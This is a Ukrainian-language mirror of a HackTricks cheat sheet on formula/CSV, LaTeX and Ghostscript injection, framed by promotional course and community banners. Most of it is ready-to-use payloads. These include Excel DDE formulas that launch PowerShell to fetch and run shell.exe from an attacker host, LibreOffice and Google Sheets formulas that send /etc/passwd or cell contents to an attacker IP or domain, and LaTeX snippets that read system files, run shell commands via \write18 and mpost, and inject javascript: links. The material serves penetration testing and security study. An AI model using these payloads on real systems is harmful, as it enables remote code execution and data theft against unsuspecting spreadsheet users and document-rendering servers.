mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
220 lines
16 KiB
Markdown
220 lines
16 KiB
Markdown
# Formula/CSV/Doc/LaTeX/GhostScript Injection
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
**Try Hard Security Group**
|
||
|
||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||
|
||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||
|
||
***
|
||
|
||
## Formula Injection
|
||
|
||
### Info
|
||
|
||
Якщо ваш **вхід** відображається всередині **CSV файлів** (або будь-якого іншого файлу, який, ймовірно, буде відкритий за допомогою **Excel**), ви, можливо, зможете вставити **формули** Excel, які будуть **виконані**, коли користувач **відкриває файл** або коли користувач **натискає на деяке посилання** всередині аркуша Excel.
|
||
|
||
{% hint style="danger" %}
|
||
Сьогодні **Excel попередить** (декілька разів) **користувача, коли щось завантажується ззовні Excel**, щоб запобігти йому від злочинних дій. Тому необхідно докласти спеціальних зусиль у соціальній інженерії до фінального payload.
|
||
{% endhint %}
|
||
|
||
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
|
||
```
|
||
DDE ("cmd";"/C calc";"!A0")A0
|
||
@SUM(1+9)*cmd|' /C calc'!A0
|
||
=10+20+cmd|' /C calc'!A0
|
||
=cmd|' /C notepad'!'A1'
|
||
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
|
||
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
|
||
```
|
||
### Hyperlink
|
||
|
||
**Наступний приклад є дуже корисним для ексфільтрації вмісту з фінальної таблиці Excel та для виконання запитів до довільних місць. Але це вимагає, щоб користувач натиснув на посилання (і прийняв попередження).**
|
||
|
||
Наступний приклад був взятий з [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
||
|
||
Уявіть, що у системі управління записами студентів сталася витік безпеки, який був використаний через атаку CSV injection. Основна мета зловмисника - скомпрометувати систему, яку використовують вчителі для управління даними студентів. Метод полягає в тому, що зловмисник вводить шкідливий код у додаток, зокрема, вводячи шкідливі формули у поля, призначені для даних студентів. Атака розгортається наступним чином:
|
||
|
||
1. **Введення шкідливого коду:**
|
||
* Зловмисник подає форму даних студента, але включає формулу, яка зазвичай використовується в електронних таблицях (наприклад, `=HYPERLINK("<malicious_link>","Click here")`).
|
||
* Ця формула призначена для створення гіперпосилання, але вона вказує на шкідливий сервер, контрольований зловмисником.
|
||
2. **Експорт скомпрометованих даних:**
|
||
* Вчителі, не підозрюючи про компрометацію, використовують функціональність додатка для експорту даних у CSV файл.
|
||
* CSV файл, коли його відкривають, все ще містить шкідливий код. Цей код з'являється як клікабельне гіперпосилання в електронній таблиці.
|
||
3. **Активація атаки:**
|
||
* Вчитель натискає на гіперпосилання, вважаючи його легітимною частиною даних студента.
|
||
* Після натискання чутливі дані (можливо, включаючи деталі з електронної таблиці або комп'ютера вчителя) передаються на сервер зловмисника.
|
||
4. **Логування даних:**
|
||
* Сервер зловмисника отримує та реєструє чутливі дані, надіслані з комп'ютера вчителя.
|
||
* Зловмисник може потім використовувати ці дані для різних шкідливих цілей, ще більше компрометуючи конфіденційність і безпеку студентів та установи.
|
||
|
||
### RCE
|
||
|
||
**Перевірте** [**оригінальний пост**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **для отримання додаткових деталей.**
|
||
|
||
У специфічних конфігураціях або старіших версіях Excel функція, званий Динамічний обмін даними (DDE), може бути використана для виконання довільних команд. Щоб скористатися цим, необхідно активувати наступні налаштування:
|
||
|
||
* Перейдіть до Файл → Параметри → Центр управління безпекою → Налаштування центру управління безпекою → Зовнішній вміст, і активуйте **Запуск сервера динамічного обміну даними**.
|
||
|
||
Коли електронна таблиця з шкідливим кодом відкривається (і якщо користувач приймає попередження), код виконується. Наприклад, щоб запустити програму калькулятора, код буде:
|
||
```markdown
|
||
=cmd|' /C calc'!xxx
|
||
```
|
||
Додаткові команди також можуть бути виконані, такі як завантаження та виконання файлу за допомогою PowerShell:
|
||
```bash
|
||
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
|
||
```
|
||
### Local File Inclusion (LFI) in LibreOffice Calc
|
||
|
||
LibreOffice Calc може бути використаний для читання локальних файлів та ексфільтрації даних. Ось кілька методів:
|
||
|
||
* Читання першого рядка з локального файлу `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1`
|
||
* Ексфільтрація прочитаних даних на сервер, контрольований зловмисником: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
||
* Ексфільтрація більше ніж одного рядка: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
||
* DNS ексфільтрація (відправка прочитаних даних як DNS запити на сервер DNS, контрольований зловмисником): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
|
||
|
||
### Google Sheets for Out-of-Band (OOB) Data Exfiltration
|
||
|
||
Google Sheets пропонує функції, які можуть бути використані для OOB ексфільтрації даних:
|
||
|
||
* **CONCATENATE**: Об'єднує рядки - `=CONCATENATE(A2:E2)`
|
||
* **IMPORTXML**: Імпортує дані з структурованих типів даних - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
|
||
* **IMPORTFEED**: Імпортує RSS або ATOM стрічки - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
|
||
* **IMPORTHTML**: Імпортує дані з HTML таблиць або списків - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
|
||
* **IMPORTRANGE**: Імпортує діапазон клітинок з іншої таблиці - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
|
||
* **IMAGE**: Вставляє зображення в клітинку - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
|
||
|
||
## LaTeX Injection
|
||
|
||
Зазвичай сервери, які можна знайти в інтернеті, що **конвертують LaTeX код в PDF**, використовують **`pdflatex`**.\
|
||
Ця програма використовує 3 основні атрибути для (не)дозволу виконання команд:
|
||
|
||
* **`--no-shell-escape`**: **Вимкнути** конструкцію `\write18{command}`, навіть якщо вона увімкнена в файлі texmf.cnf.
|
||
* **`--shell-restricted`**: Те ж саме, що і `--shell-escape`, але **обмежено** 'безпечним' набором **попередньо визначених** \*\*команд (\*\*На Ubuntu 16.04 список знаходиться в `/usr/share/texmf/web2c/texmf.cnf`).
|
||
* **`--shell-escape`**: **Увімкнути** конструкцію `\write18{command}`. Команда може бути будь-якою командою оболонки. Ця конструкція зазвичай заборонена з міркувань безпеки.
|
||
|
||
Однак є й інші способи виконання команд, тому, щоб уникнути RCE, дуже важливо використовувати `--shell-restricted`.
|
||
|
||
### Read file <a href="#read-file" id="read-file"></a>
|
||
|
||
Вам може знадобитися налаштувати ін'єкцію з обгортками, такими як \[ або $.
|
||
```bash
|
||
\input{/etc/passwd}
|
||
\include{password} # load .tex file
|
||
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
|
||
\usepackage{verbatim}
|
||
\verbatiminput{/etc/passwd}
|
||
```
|
||
#### Прочитати файл з одного рядка
|
||
```bash
|
||
\newread\file
|
||
\openin\file=/etc/issue
|
||
\read\file to\line
|
||
\text{\line}
|
||
\closein\file
|
||
```
|
||
#### Читання файлу з кількома рядками
|
||
```bash
|
||
\newread\file
|
||
\openin\file=/etc/passwd
|
||
\loop\unless\ifeof\file
|
||
\read\file to\fileline
|
||
\text{\fileline}
|
||
\repeat
|
||
\closein\file
|
||
```
|
||
### Записати файл <a href="#write-file" id="write-file"></a>
|
||
```bash
|
||
\newwrite\outfile
|
||
\openout\outfile=cmd.tex
|
||
\write\outfile{Hello-world}
|
||
\closeout\outfile
|
||
```
|
||
### Виконання команд <a href="#command-execution" id="command-execution"></a>
|
||
|
||
Вхідні дані команди будуть перенаправлені до stdin, використовуйте тимчасовий файл, щоб їх отримати.
|
||
```bash
|
||
\immediate\write18{env > output}
|
||
\input{output}
|
||
|
||
\input{|"/bin/hostname"}
|
||
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
|
||
|
||
# allowed mpost command RCE
|
||
\documentclass{article}\begin{document}
|
||
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
|
||
\end{document}
|
||
|
||
# If mpost is not allowed there are other commands you might be able to execute
|
||
## Just get the version
|
||
\input{|"bibtex8 --version > /tmp/b.tex"}
|
||
## Search the file pdfetex.ini
|
||
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
|
||
## Get env var value
|
||
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
|
||
## Get the value of shell_escape_commands without needing to read pdfetex.ini
|
||
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
|
||
```
|
||
Якщо ви отримаєте будь-яку помилку LaTex, розгляньте можливість використання base64, щоб отримати результат без поганих символів.
|
||
```bash
|
||
\immediate\write18{env | base64 > test.tex}
|
||
\input{text.tex}
|
||
```
|
||
|
||
```bash
|
||
\input|ls|base4
|
||
\input{|"/bin/hostname"}
|
||
```
|
||
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
|
||
|
||
Від [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
||
```bash
|
||
\url{javascript:alert(1)}
|
||
\href{javascript:alert(1)}{placeholder}
|
||
```
|
||
## Ghostscript Injection
|
||
|
||
**Перевірте** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
|
||
|
||
## Посилання
|
||
|
||
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
|
||
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
|
||
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
|
||
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
|
||
|
||
**Спробуйте Hard Security Group**
|
||
|
||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||
|
||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||
|
||
{% hint style="success" %}
|
||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Підтримайте HackTricks</summary>
|
||
|
||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||
|
||
</details>
|
||
{% endhint %}
|